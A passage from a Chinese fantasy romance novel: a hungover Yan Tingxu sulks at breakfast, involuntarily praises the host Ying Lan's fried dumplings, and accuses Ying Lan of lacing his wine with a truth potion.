虞想根本没想到喝醉的雁亭序跟个小孩子一样,任性又作,她磨了磨牙,将他的脸摆正,给他灌下。
雁亭序心满意足的喝到水,这才安稳下来,脱掉衣服往床上一滚,沉沉睡去。虞想被他折腾的不轻,对他没个好气,洗漱完后对着他流畅的腰身就是一脚,将人踢去里侧,她自己裹着被子睡去。
宿醉后的雁亭序发觉自己头疼的厉害,他努力回想着昨晚他喝醉后发生了什么,却发现没有半分记忆。他转头看向床上另一侧的虞想,晨间的朝阳透过近乎透明的贝壳窗,照到她的脸上,给她镀了一层金光。
细碎的绒毛清晰可见,小巧的鼻头圆润可爱,让人忍不住地想去亲吻一番。他竭力克制住那股渴望,翻身下床去洗漱。
在他走后不久虞想也苏醒了过来,她伸了个大大的懒腰,穿上衣服来到院子里洗漱。
不一会儿,一个小童前来通传说是应澜已经布好早膳,想请他们一同用饭。
雁亭序想起昨晚那小子一直给他递酒就怀疑他是故意的,故意想让他在虞想面前出丑。他冷哼一声,对小童说:“不去。”
虞想刚扎好头发,一脸疑惑的看着雁亭序,“你不去吃早饭?”
雁亭序坚决道:“不去。”
虞想点点头,不去那她就一个人去好了。
没过多久,雁亭序却突然道:“去,我去。”
怎么又突然变卦了,大反派这想法真是多变。
虞想默默吐槽了一句,跟着小童一道前往。
饭桌上,虞想见一道煎饺做的好吃,便忍不住向应澜夸赞道:“这煎饺真是不错。”
应澜笑道:“虞兄喜欢就好,雁兄不妨也试试。”
说着他把那个瓷盘往雁亭序那里推了推,雁亭序看都没看直接说:“难吃。”
“可是我觉得很好吃呀。”虞想不知道雁亭序有在闹什么别扭,还没尝过就非得说煎饺难吃,不吃也不必诋毁吧。
雁亭序见虞想对那道煎饺喜欢的紧,还是选择尝了一口,正好被眼尖的应澜看见,“雁兄,觉得怎样?”
“难吃。”雁亭序连一个目光都没施舍给他。
没过多久,他面容似是有些扭曲的从牙缝里挤出几个字,“好吃,煎饺好吃。”
虞想一脸诧异道看着他,似是对他这打脸行为有些不解,今天这是怎么了,一向要脸的大反派怎么开始自己打自己脸了。
雁亭序甩下筷子,一个闪身揪住对面应澜的衣襟,两人顿时消失在虞想脸前。
“你昨晚给我喝的酒里掺了什么?”肯定是这个家伙用了手段,否则他怎么总会把自己的心里话给说出来。
应澜淡笑着别开雁亭序青筋毕露的拳头,“不过是真言水罢了,难不成你怕了?”